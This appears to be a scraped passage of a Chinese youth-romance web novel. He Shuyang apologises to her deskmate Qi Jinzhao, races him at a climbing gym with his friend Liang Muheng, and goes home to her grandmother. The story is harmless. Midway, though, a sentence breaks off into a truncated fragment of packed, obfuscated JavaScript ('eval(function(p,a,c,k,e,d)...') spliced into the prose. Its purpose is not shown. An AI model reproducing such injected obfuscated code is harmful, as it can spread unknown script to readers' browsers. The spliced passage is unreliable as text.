贺书鞅想起离开前跟习洛漪交换了联系方式,当即点了通过好友验证。 几乎是刚同意对面秒给她发来消息。 贺书鞅跟习洛漪并不熟,对方虽然很活络,但又很有分寸感。 她不反感,大多都是习洛漪在发,她礼貌回应。 话题不知怎么拐,习洛漪提起警局晚上给她打电话。 贺书鞅顺嘴就问了句警局的处理结果。 许是打字太费时间,习洛漪改给她发语音,长达六十秒的语音她发了七八条。 贺书鞅无奈地笑了下,挨个点开听了遍。 听完,沉默了长达几分钟,贺书鞅才给习洛漪回复了个哭笑不得的表情。 整件事的始末,贺书鞅终于搞清楚。 原来那个钱袋子确实是习洛漪的没错,但抢钱的并不是那个跟她打架的男生,他的出现纯属就是个意外。 据那个男生跟警察交代,他刚好从巷子尾经过,亲眼目睹那几个小混混威胁习洛漪,还把她抢钱的全过程,至于当时他为什么没直接站出来,他没细说。 习洛漪前脚走,后脚那几个混混就围着一块数钱,男生就是这个时候出现,把那几个混混打趴,抢回习洛漪的钱。 他原本就打算把东西还给习洛漪,甚至都想好,如果找不到人的话就报警,结果好巧不巧遇上贺书鞅,她上来不分青红皂白,二话不说把他给打了。 后面警察找那几个小混混证实,确实跟男生的口供吻合,并且他的手机界面也能证明,当时都按了电话准备报警,只是没来得及拨通。 至于是为什么没拨,贺书鞅尴尬地挠了挠头。 在知道自己搞了个大乌龙那瞬间,她是真想找块豆腐一头撞上去。 好心办了个坏事。 猛地想起男生走时那个意味深长的眼神,好好好,他该不会是觉得她脑袋有毛病吧? 打架这件事,贺书鞅很清楚自己有很大一部分问题,她想去给这个男生道歉,但是奈何习洛漪也没有那个他的联系方式。 京都这么大,光人口就两千一百多万,无疑是大海捞针。 她那时想的是,等哪天真遇到人家,一定郑重地道个歉,毕竟错就是错了,那就该认。 毕竟自己一向做事坦荡。 任谁都想不到,后面会发生这么戏剧的一幕。 这人啊,不但出现,还变成她的同桌,更绝的是她歉没道,反而没出息地跑了。 想必此时在祁津昭心里,她肯定个没担当,遇事只会选择逃避的这么一个形象。 此刻贺书鞅也是很懊悔,那么多做法偏偏自己选了个最不负责的。 想到这儿,贺书鞅不由得重叹了口气。 “明天还得找个机会,好好跟他道个歉才行。” “你想怎么道歉?” “当然是站到他面前,九十度鞠躬……”话说到一半贺书鞅声音戛然而止,她忽然想起自己是一个人,那刚才开口问她的是谁? 没听错的话,刚才回应她的是一个男声。 不知怎么贺书鞅心咯噔了一下。 天还没黑透呢,哪里来的小鬼? 贺书鞅抬眸环顾了遍四周,视线最后定格在前面的路口。 路灯下不知道何时多了道修长挺拔的身影,此时那人正倚靠着铁杆,双手抱臂好整以暇盯着她看。 暗黄的路灯笼罩在他的身上,额前的碎发落下一片阴影,相隔着几米,她有些看不太清他的神情,深浅不一的光线衬得轮廓愈发立体深邃,整张脸一半映在光里,一半藏在影里。 贺书鞅有些恍惚,这算什么? 天顺着她的意显灵了,可这也太说不过去了吧? 任谁都接受不了这个说法。 太匪夷所思。 那祁津昭是怎么出现在这里的呢? 是巧合还是? “你怎么在这?”贺书鞅主打一个不内耗,有什么想知道的,她会问个明白。 祁津昭目不斜视盯着她,神情晦暗不明,腔调听起来懒洋洋的:“你说呢?” “我怎么知道?” 贺书鞅挺想翻白眼,事实上她确实这么做了。 因为她觉得祁津昭这人也挺逗,她又不是他肚子的蛔虫,怎么知道他什么想法,再说了,她要知道还犯得着多此一举问他。 祁津昭:“还不是听到某些人的召唤。” 他似乎是笑了下。 两人中间还隔着一段距离,加上天黑路灯暗黄,贺书鞅看得不太真切。 “谁召唤你了?” “你说呢?” 这人怎么老喜欢把问题又抛回来给她。 贺书鞅迟疑了下,面不改色发问:“你说那人,该不会是我吧?” “是啊。”祁津昭这回很坦诚,“如果我没听错,刚才似乎有人说,要站到我的面前,给我九十度鞠躬道歉。” 说这话时,祁津昭已经收起慵懒,正抬脚向她走来。 “是吧?” 问出这二字时,人已经站到贺书鞅的面前。 他挡住光,落下一片阴影。 贺书鞅抬眼,撞入一双深邃幽暗的眸子,眼底翻涌着不分明的情绪。 他的眼睛很漂亮,也很深沉,有一种魔力,想一探究竟里面到底藏了什么。 当贺书鞅意识到这里,赶忙别开眼,往后退了一步,将两人的距离拉开。 心道,要有定力,可不能被他这张脸给迷惑了。 可余光再瞥到那张脸,目还是会不知不觉为他驻停。 长得好看的,这些年贺书鞅也见过不少,可像他这般好看又带着一股劲劲儿的痞意,真真还是头一个。 祁津昭带给她的感觉挺复杂,他不笑时单单站在那里,骨子里会透出一种与生俱来的俊冷美感,让人难以接近,可当他笑起来时冷意褪去,浑身散发着肆意不羁的痞气,格外的勾人。 但这对她来说可不是什么好信号。 “是……是什么是……”贺书鞅脑海不断闪过他的眼睛,导致话都说不利索。 祁津昭笑了下,“你说呢?” 他明知故问,紧盯着她不放。 “我怎么知道?”贺书鞅仰头望他,耍起无赖。 大有一种,我就是不认,你又能把我怎么着的气势。 祁津昭身体往前倾,俯身凑到她耳边,不急不缓道:“贺书鞅,你知道我在说什么。” 下一刻,耳边传来一道悦耳的笑声。 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“祁津昭收起你的眼神。” “原来你不傻。”说完,祁津昭笑了下。 贺书鞅不服气地白了他一眼,“你废话。” 祁津昭声音里裹着浅浅的笑意:“那你装什么傻?” 贺书鞅顿住,清楚他这句话是什么意思。 沉默半晌,她开口喊他:“祁津昭。” “嗯哼?”祁津昭低头看了她一眼。 “不管事情的起因是什么,我确实是欠你一个道歉。”贺书鞅面容严肃,对着他郑重其事说出那三个字,“对不起。” 伴随着这句话落下,贺书鞅原本直挺挺的背忽然变弯,脑袋跟随着动作往下垂。 然而下一秒,贺书鞅的动作被定格住,她清晰地感觉到额头传来一道温热的触感,在她愣神之际一股力量将她的头往上抬。 “你的道歉我接受了。”他又说,“九十度鞠躬就算了。” 路见不平干了件好事,莫名其妙挨一顿打。 祁津昭心里是有气的,特别是她还躲着自己,这让他更是气的牙痒痒,可气终归只是气,自始至终都没想过要为难她到这个地步。 怎么说都是女孩子,面子薄,得给她留些才行。 贺书鞅眼里闪过诧异,抬眸时正好与祁津昭视线交汇,犹豫了两秒,还是开口:“你……你真不怪我了?” 祁津昭听她那个语调夹杂着不可思议,顿时轻嗤一声,俯身视线与她平行对视,道:“在你眼里,我是不是特小肚鸡肠?” 两人距离猛地拉近,他的气息倾数压下,贺书鞅鼻尖钻入一股淡淡的香味。 不像香水味,她鼻子不自觉又嗅了下,闻着好似薄荷味,但又不全是,似乎还有柑橘的味道。 没等来回答,祁津昭垂眸望向贺书鞅,见她眉头紧锁,他表情顿了下。 “这么纠结。” “看来我在你心里真是那样。” 贺书鞅闻声骤然看向他,“什么?” 见祁津昭脸色有些臭,脑子闪过一些画面,很快反应过来。 “不是。”贺书鞅喉咙滚了滚继续道,“我没那么想,刚才我没说话,只是在想你身上到底是什么味……” 贺书鞅话赶话,一个没注意居然把心里话给说出来,等她想捂嘴已经来不及。 这时的她头埋得很低,根本不敢去看祁津昭。 6. 春动 一个人怎么可以做到无限在同一个人面前丢脸。 此时此刻贺书鞅真的无比渴望得到一项技能——钻地洞。 可惜她不是老鼠,更不会打洞。 偏偏在她都快要羞死时,头顶传来一道“噗嗤”的轻笑声。 明明声音也不大。 可不知道怎么贺书鞅听到这个笑声,耳朵在嗡嗡作响。 她知道自己这回,真的是丢人丢到姥姥家了。 祁津昭本就注视着她,自然看到她的头越埋越低,抬手制止住她继续往下的动作。 额间再次传来熟悉的温热触感,其实贺书鞅不用抬头去看,也知道这只手的主人是谁。 她紧咬住唇,垂眼盯着地面,不知怎么视线移到面前那条双膝微弯的大长腿上,心中不免感慨,他不仅身材比例完美,这双大长腿更是了不得,全然忘了自己的头还在被一只手托着。 “看够了没?”祁津昭见她一直不动,适时提醒道。 闻言,贺书鞅缓缓抬起头,直直对上一双深沉的黑瞳,狭长幽深的眼眸,像是深不见底的幽潭,要将人吸入其中。 “好看吗?”他又问。 贺书鞅呆呆地点了下头,不过半秒,想到什么头立即摇的像个拨浪鼓,“不好看不好看不好看。” 尽快她再三否认,但真实的想法早就暴露在人前。 “贺书鞅。”他喊她的名字。 明明这不是他第一次喊她,可这次的语调与之前不同,念到鞅字他尾音沉缓缱绻,像是在人头上拨弄心弦。 贺书鞅能感觉到自己的耳尖在发烫,但还是在强装镇定,“干嘛?” “你,”祁津昭似是故意般顿了下,直勾勾地盯着她,忽地笑了,“该不会是喜欢我吧?” 平地惊雷,贺书鞅彻底怔在原地。 明知他是故意的,心还是在加速跳动,她能清楚地听到自己的心跳声,“砰砰砰”一下又一下。 须臾后。 贺书鞅咬住下唇,抬眼紧紧注视着祁津昭的眼睛。 她冲他浅浅一笑,不咸不淡道:“大白天睁着眼都能睡,你真是了不起。” 说完,又对着祁津昭竖了个大拇指。 意思再明显不过。 祁津昭不傻,怎么会听不出她话里的嘲意,他不在意地薄唇轻勾,“是嘛,最好是这样。” 贺书鞅不明白他为什么这么说,也懒得去探究。 反正该道的歉她已经道了。 “祁同学,你大可放心,我绝对不会对你有非分之想的。”贺书鞅看了眼手机的时间,不想再跟他纠缠下去,“没什么事的话我先走了。” 祁津昭侧身给她让开位置,微微抬了下下颌示意她随意。 贺书鞅没再停留,迈开步伐往攀岩馆的方向走。 走出巷口,贺书鞅隐约感觉身后有人在跟着自己,听脚步声判断那人隔自己还有一段距离,她便没有太在意,以她的身手就算对方真的想做点什么,受伤的只会是那个人,而不会是她。 不过她并没有因此就放下戒备。 身后的脚步声依旧还在,直到在十字路口等红绿灯的间隙,贺书鞅回头往身后瞄了眼。 看清那人的脸没来由地松了口气,想到什么她又板起脸,同一时间少年大步径直走向她。 贺书鞅看着朝自己走近的少年,朝他挑了下眉,直白开口:“你跟着我干嘛?” “贺同学。”祁津昭腔调端着散漫,一脸漫不经心道,“这条路写你名了吗?” 贺书鞅嘴角一抽,“那真是挺巧。” 懒得考究祁津昭这话的真伪,只要他没影响到自己,贺书鞅是无所谓的。 祁津昭垂眼目光落在她身上,嗓音低沉:“那只能说明一点。” “什么?” 贺书鞅抬头,撞上祁津昭那双带着一缕似有若无笑意的黑润眼眸。 他忽然凑近,在她耳边低低来了句:“你和我是同路人。” 男生的声音低沉有磁性,听得人耳朵发酥。 贺书鞅身形晃了下,不知是不是错觉,她总感觉祁津昭这货是故意的。 在看到他唇角抿着笑时,她确定,他就是故意的。 贺书鞅双手交叉抱臂,清冷的眉眼睨了他一眼,轻声嗤笑道:“少自恋,我跟你才不是一路人。” “别着急下定论。”祁津昭轻轻挑眉,神色散漫,“凡事皆有可能。” 明明算上今天,他不过拢共也就只见贺书鞅三次,但对她总有种说不清道不明的感觉,那种起伏不定的情绪伴随着他。 这种感觉,他从不曾有过。 祁津昭不由地垂眼多看了她一眼,少女穿着黑白相间的秋季校服,拉链拉到顶下半张脸埋在衣服里面,今天她绑了个清爽的高马尾,风吹起鬓间那几缕碎发,她的侧脸被路灯昏暗的光线勾勒出柔和的轮廓。 与昨天冷酷无情的她不一样,此刻的她带着一种无法言喻的温顺乖巧。 祁津昭凝视着她的侧脸,嘴角不自觉上扬,眼神多出了一丝自己的不曾发觉的温柔。 这时,贺书鞅忽地抬眼,对上一双漆黑透亮的黑眸,并未注意到某人在她投来目光时轻抿了下唇。 “随你怎么想。” 贺书鞅话音刚落,对面亮起绿灯,她没管祁津昭自顾自抬起脚步朝对面走去。 祁津昭轻轻抿了下唇,紧跟在她身后。 直到走到攀岩馆门口。 “你还打算跟多久?”贺书鞅忽地出声问他。 “嗯?”祁津昭看着她表情很微妙,顿了约莫有两秒,他从口袋里掏出一个挂着绳子的牌子,在贺书鞅眼前晃了晃,“都说了我们是同路人。” 他总喜欢说话时拖长尾音,懒散的嗓音掺了些沙哑,入耳缱绻又暧昧,让人耳尖止不住开始发热发烫。 加上他这张脸,活脱脱一个害人的妖精,贺书鞅暗自腹诽道。 贺书鞅悄悄往后退了一步,拉开两人之间的距离,视线从他的脸上落到那个牌子上,才漫不经心移开。 黑色的牌子上写着祁津昭的名字,下面那栏攀岩馆会员。 原来那句同路人真就只是同路人。 贺书鞅庆幸还好当时自己没多想,指不定又要被他笑话了。 想到这儿,她唇角浅浅一勾,似笑非笑地凝视着他,慢悠悠来了一句:“你来来回回就只会这句话吗?” “这不是你问起了。”祁津昭边说边将手中的绳子绕了几圈缠在牌子上,最后神色满意地塞回口袋。 平时都是贺书鞅把别人说得哑口无言,这还是头一回被人噎。 她白了他一眼,不再理会他,快步走进攀岩馆。 攀岩馆的休息室是会员制,且男女是分开的,等级越高休息室跟装备就越好,贺书鞅比较注重隐私,选择的是这里最高级规格的会员,拥有属于自己的独立休息室。 换好装备贺书鞅走出休息室,关上门她垂眼发现腰间的安全扣没卡紧,正整理着忽地听见隔壁传来关门声,下意识抬头循声望去。 不想,又见到那张熟悉的面孔。 祁津昭已经换下长衣长裤,身上套的是一件无袖 坎肩宽松款式的背心,下身一条黑色短裤。 他似乎格外偏爱黑色,见几次都是一身黑。 不过在这身装扮下,贺书鞅眼尖地发现这人身材是真的不错,宽肩窄腰大长腿,暴露在空气中的双臂肌肉线条流畅,紧实有力的同时又不会过度粗壮,T恤在他腰间自然垂落,勾勒出那窄的不真实的腰。 贺书鞅不自觉地咽了咽口水,这时祁津昭正好偏过头,两人四目相对。 “好巧。”祁津昭说这话时已经迈开步伐朝着她走来。 贺书鞅若无其事地移开视线,饶有兴致地回他:“是挺巧的。” “要比一场吗?”祁津昭扯唇,目光落在贺书鞅身上,狭长而深邃的漆黑眼眸似乎在笑。 那模样活脱脱像只狐狸。 贺书鞅总感觉,他并不是只是为了比比,但她不是那种扭捏的性格,既然人家主动提出,她直接拒绝就显得不尽人意。 “行啊。” 反正自己玩也是玩,多个陪玩何尝不可。 而且,她是真的挺想看看他能整出什么花样。 祁津昭抿唇,压下唇角的笑,似不经意地提起:“光只是比,会不会太简单了些。” 闻言贺书鞅转头注视他,眼睛在他身上短暂地停留了两秒,顺着他的话问:“那你想怎么样?” 说完,贺书鞅恰好看到他的唇角勾起一个浅浅的弧度。 祁津昭这一举动,无疑让贺书鞅更加确定他就是带着目的的。 “比赛嘛总要有个彩头,你觉得呢?”祁津昭说完这句话,双手交叉环臂后背倚靠在门框上,歪着头眼神直勾勾盯着她。 贺书鞅从他的眼里读出明晃晃三个字:答应我。 真是个狡猾的狐狸,心里早就想好了,还要来假模假样地询问她一嘴。 既然这么喜欢演,那她就奉陪到底。 “行啊,那你想赌什么?”贺书鞅皮笑肉不笑地看着他。 祁津昭想都没想,直言道:“这样,如果你赢了可以向我提一个要求,如果我赢了换你答应 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不过比赛是两个人的事,自然是不能少掉另一位当事人的意见。 “这个高度你可以吗?”贺书鞅回头征求跟着身后的少年。 祁津昭闻言撩起眼皮,先是看了眼面前的少女,而后将视线移到她身后的攀岩墙上,“行,一个来回?” 不等贺书鞅开口,祁津昭又说:“你可要想好了,我如果赢了你可就不能反悔了。” 贺书鞅嘴角挂着明显的笑意,语气却是略带嫌弃的:“别墨迹,敢答应你,我肯定是想好了。” “倒是你,谁输谁赢还不一定呢。” 祁津昭笑了下,“行啊,我等着看贺同学大展身手。” 贺书鞅没答话,先热了个身,五分钟后,拿起放在桌子上的粉袋挂在腰间。 两人站在攀岩墙前,贺书鞅才想起,这里就只有她跟祁津昭两个人,还缺少一个很关键的人物。 “是不是要找个工作人员来当裁判?”虽说贺书鞅是在问他,但说话间她已经转身准备往外走。 下一秒,手腕被人拉住。 贺书鞅回头,视线落在手腕处,少年的手掌宽厚而文温热,他的手修长指骨明晰,掌背冷白的肤色下是脉络分明又带着蓬勃生命力的青筋。 其实她不是很喜欢跟异性有身体上的接触,可当这人换成祁津昭,她发现自己似乎并不是那么排斥。 意识到这一点,贺书鞅唇线紧绷,双眉地拧在一块。 祁津昭垂眼,恰好将她的表情变化收尽眼底,不动声色地收回手。 “抱歉。” 贺书鞅思绪被拉回,轻捻出声:“没事。” “你不用出去,我打个电话。” 贺书鞅无声地点了下头。 祁津昭从口袋掏出手机,拨通了个电话。 “你来一下高级区域。” 不知道对方说了什么,贺书鞅看到祁津昭的眉头轻蹙了下。 随后,就听到他说。 “给你一分钟,见不到人做好露宿街头的准备。” 语气极淡,威胁意味极重。 电话那头立即传来一道找重重的哀嚎声,对方似乎还想跟祁津昭抗议,不过他没给机会,那头一句话还没说完,他一声不吭就把挂掉电话。 贺书鞅意味深长地看了他几眼。 祁津昭早就注意到有一道视线一直停在自己身上。 “好看吗?” 他垂眼对上一双黑白分明的眼睛,清澈又明亮宛如琉璃,闪烁着迷人的光彩。 贺书鞅在他的注视下,轻轻地嗯了声:“挺好看的。” 祁津昭没想到她回答得这么干脆,一时间竟不知道该说些什么。 “难道你不觉得?”贺书鞅歪头去看他的脸,“不应该啊,你顶着这张脸,我不能是第一个说你好看的吧?” 她可还记得白天他出现在教室时,班里不少女生都捂着脸盯着他看。 课间更是有不少女生打量他,小声窃窃私语。 光是什么好看、神颜、太帅了……这些词贺书鞅就从不少人嘴里听到,无一不是形容他。 祁津昭轻咳了一声,别开脸:“你……你说这个干嘛?” “不是你自己问的?”贺书鞅疑惑地看着他。 祁津昭呼吸一滞,正想措辞。 根本没注意到一旁的贺书鞅嘴角微微勾起。 她好像……找到祁津昭的命门了。 “我是不是来的不是时候?” 7. 春动 突如其来的声音,打断贺书鞅想要继续的兴致。 收起逗祁津昭的心思,贺书鞅挑起眼皮,双眸径直望向门口,那里不知何时站了位男生。 第一眼,贺书鞅便觉得那男生有点眼熟,似乎在那里见过。 男生肤色白皙,五官清秀气质温润如玉,一头乌黑的头发随意又自然地垂落在额前,高挺的鼻梁上戴了一副黑框眼镜,脸上挂着笑,有股如沐春风的温和。 在贺书鞅打量那男生时,他也将视线放在她身上。 四目相对,无声地看了约莫有半分钟,有人似乎看不下,先一步出声打破了这份沉默。 “梁牧珩,你是准备站那里给我们当门神吗?” “我这不是怕打扰你们嘛。”梁牧珩说这话时视线在祁津昭和贺书鞅之间来回打转,声音里压着笑声。 闻言,祁津昭余光先是扫了眼贺书鞅,见她神色如常,没有对梁牧珩调侃的话表现出任何不舒服,提着的心才稍稍放下。 “还不滚过来。”祁津昭面无表情对着梁牧珩道。 而贺书鞅听到祁津昭喊那男生的名字,终于想起为什么见梁牧珩第一眼觉得他眼熟。 光荣榜是两人交集的开始,梁牧珩成绩跟贺书鞅不相上下,分数粘的很紧,回回月考出成绩,梁牧珩不是排在她上面,就是在她下面,两人跟卯了劲儿似的,这么一来一回从高一斗到现在。 其实斗了这么长时间,第一次碰面还是上个月月考,在学校光荣榜前,压根说连碰面都算不上,他当时看完成绩就走,是荆拉着她正去看,两人擦肩而过,还是是荆反应过来,指着没走远的背影说他是梁牧珩,在她望去的时候他恰好回头,只是隔得有一段距离,以至于她压根就没怎么看清梁牧珩那张脸。 虽然这次没看清梁牧珩的脸,但是她记住梁牧珩这个人。 月考满分750,贺书鞅考了745年级第一,而排在她下面的是梁牧珩744.5分,两人仅差了零点五分。 文理分班后,贺书鞅在一班,梁牧珩在隔壁二班,这一年多她其实就没关注过这号人,一高优秀又亮眼的人一抓一大把,别看她的分数跟梁牧珩的粘的紧,可年级第一都是轮流坐。 不过贺书鞅也无意间从别的同学嘴里听到这人的“光荣事迹”。 别看梁牧珩这人戴着副眼镜,斯斯文文的样子看着就像是个三好学生。 这人特有迷惑性,像睡觉逃课打架这种事对梁牧珩来说是家常便饭,偏偏他学习成绩好得要命,老师都对他无可奈何。 …… “很高兴认识你,我是梁牧珩。” 头顶传来一道轻快清脆的嗓音在自我介绍。 贺书鞅思绪回笼,抬头望向比自己高了约莫有小半个头的男生,嘴角微微扬起,“贺书鞅。” “原来是贺同学,早就有所耳闻,今日一见发现贺同学远比我想象的要优秀,没想到你不仅学习成绩好,人长得还这么漂亮有气质。” 梁牧珩跟贺书鞅一样,都是不太关注对方,只知道同年级里有这么一号人物。 “谢谢。”贺书鞅从小到大听过太多夸奖,对这些话已经习以为常,听得出梁牧珩是真心的,自然是要礼尚往来,“你也很优秀,这张脸完全可以跟那些爱豆们与之抗衡。” 梁牧珩张嘴正想接话,身旁忽然传来一道轻咳声,他余光瞟了眼,发现祁津昭正盯着自己,薄唇绷成一条直线,那双好看的眼眸像是浸了墨,深沉又而浓密,眼底的情绪缠成一团。 做了这么多年的朋友,没人比梁牧珩还要了解祁津昭,一般他露出这个表情,多半就是不耐烦要不然就是不高兴。 梁牧珩不知道自己怎么又惹这位大爷生气了,自己不过是跟贺书鞅多说了几句话而已。 等等……梁牧珩脑子快速运转,目光锁定在一旁的少女身上,祁津昭难道是因为…… 贺书鞅。 想到某一种可能,梁牧珩顿时来了兴致。 “贺同学你也追星吗?”梁牧珩是在问贺书鞅,可眼睛却是在祁津昭身上。 果然,话音刚落,某人向梁牧珩投来了一个冰冷的眼神,仿佛在说:就你话多。 而梁牧珩假装看不到,唇角的笑意更加浓烈。 贺书鞅只不过顺嘴那么一夸,没想到梁牧珩会这么问。 “不追,不过我有一个好朋友追,你长得挺像她现在在追的一个组合的队长。” “原来如此。”梁牧珩若有所思说,“不过……” 贺书鞅一向不喜欢故作玄虚话说到一半,可这人跟祁津昭关系貌似不错,她还是礼貌顺着他的话问:“不过什么?” “不过贺同学你可以追我们祁哥,他这颜可比那些爱豆还顶。” 此话一出,两双带着异样的目光直直落在梁牧珩身上。 一道是不可置信,似在说你没事吧。 而一道则是冷冰冰的,似有想将梁牧珩刺死的意味。 贺书鞅就是那个前者,她承认梁牧珩说的后半段话挺对,但是欣赏不等同于可追求。 再说了,祁津昭再好看,她又不喜欢他,更不可能会去追他。 “不讲这些不讲这些,我们现在应该以学业为重。”贺书鞅一本正经地说道。 随着这句话落下,气氛陷入一种诡异的微妙。 三人神色各异。 短暂的沉默。 梁牧珩隐约能感觉出气氛不对,加上祁津昭急速冷下的脸,他不敢再多说,真怕这阎王生气,最后遭罪的还是自己。 祁津昭幽幽地看了梁牧珩一眼,随即冷哼一声:“再胡说舌头给你拔掉。” 梁牧珩清楚言多必失,立即做了个闭嘴的手势。 贺书鞅没在意梁牧珩的话,扯开话题:“还比吗?” 这话她是在问祁津昭。 “比。”祁津昭回答得干脆。 贺书鞅转身,淡淡嗯了声,将悬挂在头顶的安全绳绑在安全卡扣上。 耳边是祁津昭跟梁牧珩的交谈声,是关于比赛的规则,祁津昭虽然说的很简洁,但是都是要点,看得出他很了解攀岩。 祁津昭系好安全绳,随着梁牧珩口哨声落下。 贺书鞅脚尖内侧踩点,拇指锁住食指半握岩点,她采用交叉手,身体重心放在开口反方向,速度攀岩除了要精准踩点,最重要的是要手脚发力同步。 讲究的就是一个快准狠。 越往上贺书鞅的速度越快,还差最后一个节点就要登顶,身侧的少年先她一步拍下头顶的按钮。 贺书鞅紧随其后,头顶的计时器定格在八点六十四秒,比以往的每一次成绩都要好,她心满意足地将视线转移到祁津昭那边的计时器,上面赫然显示着七点零七秒。 是个强劲的对手。 贺书鞅看向祁津昭,少年悠然自得地荡在空中, 额前的碎发随风飘扬,露出精致无暇的五官,眉梢挂着几分不羁,他像是感受到什么般,忽地抬眼,她对上他明亮而清澈的黑眸,里面闪动着黑曜石般耀眼的光芒。 少年的身畔氤氲开的细碎的光晕,满目星辰在摇曳着,宛如自由重塑的灵魂在俯瞰一切。 贺书鞅双眸泛着细碎的光,心很轻地颤了一下,短暂到她自己的不曾察觉。 “祁同学,你很厉害。”贺书鞅莞尔一笑,“你准备向我提什么要求?” 祁津昭漆黑的眼眸盯着她,轻笑道:“应该是我们都很厉害,要求嘛……” 他停顿了下,勾唇吊儿郎当地笑了下。 “暂时还没想好,等我想好再找你。” 贺书鞅了然地点点头,“想好随时找我。” 对她来说,输赢没那么重要,更多是享受竞技的过程。 就像她喜欢攀岩,是因为攀爬的过程有趣有挑战性能够给她带来刺激的感观,她享受触顶时的成就感,而降落就是胜利结算,这种自由与掌控感,让她无比上头。 安全绳往下降,贺书鞅脚尖刚着地,梁牧珩满脸兴奋跑到她跟前。 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祁津昭正在喝水,听到这句话手上的动作停了半秒,抬眸扫向贺书鞅。 “随你。” “谢谢。”贺书鞅冲他一笑,随后转头对梁牧珩道,“他答应了,视频传我吧。” “行啊,你有祁哥微信吗?我直接给你发过去。”说着梁牧珩已经点开微信。 贺书鞅摇头,“没有。” “那加一个。”梁牧珩没给贺书鞅拒绝的机会,直接点开好友二维码,“你扫吧。” 贺书鞅没多想,从口袋拿出手机扫了二维码,添加祁津昭的微信好友。 梁牧珩通过好友申请,把视频发给贺书鞅。 “谢了。”贺书鞅点开视频按了保存。 “客气。” 贺书鞅看时间不早,还有作业还没写,便跟祁津昭和梁牧珩道别回家。 等那道俏丽的身影消失在视线,直至脚步声听不到。 梁牧珩走到祁津昭身边,抬起手臂轻轻肘了下他的胳膊,哼笑道:“人都走远了还看。” 祁津昭眼帘微动,没什么情绪地说:“你管得着吗?” “你说这话就伤人了。”梁牧珩转头对他挑挑眉,得意地笑道,“别忘了人家微信还是我帮你搞到的。” 祁津昭垂眼,盯着微信最顶端的对话框,过了两秒,不咸不淡道:“没你,我也能拿到。” 梁牧珩一噎,岔开话题,“你怎么想的?” “什么怎么想?”祁津昭挑眉。 “当然是对贺同学啊。” “你想我怎么想?” 梁牧珩:“……” 到底谁问谁啊,这家伙当辩论呢?一来一回的。 “你别想糊弄我。”梁牧珩勾着祁津昭的肩膀揶揄道,“咱俩兄弟这么多年,我还是头一次见你像今天这么主动。” 见他不说话,梁牧珩又说:“你该不会是真喜欢上人家了吧?” 都说的这么明确,仍是不见祁津昭反驳。 梁牧珩压低声音,带着点他试探又不敢确信的迟疑,重复问:“你……真喜欢上了?” 祁津昭垂着眼睫,指尖轻轻敲打着手机屏幕,漫不经心地勾唇,语气散漫:“胡说什么,我就是觉得她挺厉害的。” “就这?”梁牧珩明显是不信的。 可祁津昭却是根本不在意他什么想法。 “不然?” 梁牧珩放下手,不怀好意地笑了笑,“你那么闷骚,谁知道你啊。” “书上可说了,喜欢一个人就是从仰慕开始的。” 祁津昭眸光一暗,“你又欠打了。” 抬手就要去抓梁牧珩,却被他躲开了。 “来啊,抓我啊,打我啊!” 这讨人嫌的还朝他吐舌头,语气挑衅又嚣张。 祁津昭:“……” 真是个幼稚的显眼包。 8. 春动 贺书鞅刚到家门口,就听到李云岚哼着小曲儿的声从屋里传来。 听声就知道今天老太太很高兴。 她进门,刘姨从厨房出来,迎上去给她拿鞋。 贺书鞅道谢换上鞋,想到在外边随便对付的那口面,她问:“刘姨家里还有饭吗?” “有。”刘姨笑容满面回应,“我猜到你这丫头肯定没吃饭,半小时前弄了排骨给你炖汤,现在还在锅里炖着,再有几分钟就好了。” 其实吃了,但那碗面味道实在不怎么样,本想对付对付,吃了几口实在吃不下去。 果然,还是家里的饭香。 贺书鞅手搭在刘姨肩上,眉眼弯弯开玩笑道:“刘姨你真好,这么晚还能吃上你做的饭,我真的是太有口福了。” “就数你这丫头嘴甜,行了,灶上还有火我先进厨房看着,你换身衣服洗洗手准备吃饭吧。” “好。” 刘姨是家里老人,年轻时跟着李云岚照顾她的饮食起居,李云岚嫁给贺敬谦,刘姨跟着她来了贺家,一直都是她在照顾大家,表面上刘姨跟这个家是主仆关系,实际贺家每一个人都把刘姨当成家人。 贺家的孙子辈大多都是在刘姨的精心照料下长大,特别是贺书鞅,她跟刘姨感情最要好,在她心里刘姨算半个奶奶。 等刘姨进厨房,贺书鞅走到客厅,入眼的是电视大屏上投放的京剧,视线一瞥老太太果然躺在摇椅上,嘴里悠闲地哼小曲儿。 站了半秒,贺书鞅唇角带笑走到李云岚身边,甜甜地喊了句:“奶奶。” 闻声,李云岚从电视上挪开眼,见是贺书鞅脸上笑意更浓,“祝祝回来了,今天在学校开心吗?” 祝祝是贺书鞅的小名,原来其实不是这个名,而是猪猪,她出生时是不足月的早产儿,小小一个人儿不足两斤重,她身体各项发育没那么好,落地没两天,二十多项诊断,病危通知书都下了几张,住了一个多年的保暖箱才慢慢好过来。 老一辈说阎王小鬼到阳间钩人,要翻看人名册,贱名难听上不了人名册,阎王小鬼就钩不到这些人,当然就好养活。 李云岚给取了个小名猪猪,小的时候喊没什么,随着年纪增长贺书鞅上幼儿园,因为小名被班里的小朋友取笑,回来就闹家里人给换名字。 祝祝同音猪猪,又能寓意是家里人对她的祝福,从那天之后家里人便喊她祝祝。 在奶奶面前贺书鞅格外乖巧,“奶奶,我今天很开心,你今天怎么样,我可是还没进门就听见你哼着小曲,是有什么高兴的事,给我分享分享。” 互相分享彼此的日常,是祖孙俩心照不宣每天都要进行的一件事。 见孙女问起,李云岚从摇椅上起身,拉着贺书鞅的手走到沙发坐下。 “今儿我可高兴了,盼天盼地终于把你林奶奶从蜀都盼回京都了。” 李云岚口中的林奶奶是她年少时的闺中密友林慧琴。 林慧琴的丈夫原是京都担任部委司长,后被派遣回户籍所在地,林慧琴不愿跟丈夫分居两地跟着一块去了蜀都。 头几年姐俩身体好,加上李云岚这人喜欢到处逛,会经常约着出去玩,见面的次数也多。 随着年纪越来越大,两位老人的身体都不像年轻时那么好,蜀都离京都一千八百多公里,出远门老人的身体吃不消,诸多不便下老姐俩已经有两年没见过面。 李云岚时常把林慧琴挂在嘴边,贺书鞅知道奶奶有多挂念这个挚友,听到这个消息自然是替奶奶高兴的。 “原来是林奶奶回来了,确实是一件值得高兴的大事。”贺书鞅笑吟吟地打趣道,“这次可有人乐意陪你逛正乙祠了。” 李云岚高兴极了,笑得合不拢嘴,“你们平时不乐意陪我老婆子听曲,这次用不着你们陪了,我的好闺蜜回来了,你们都靠边站吧。” 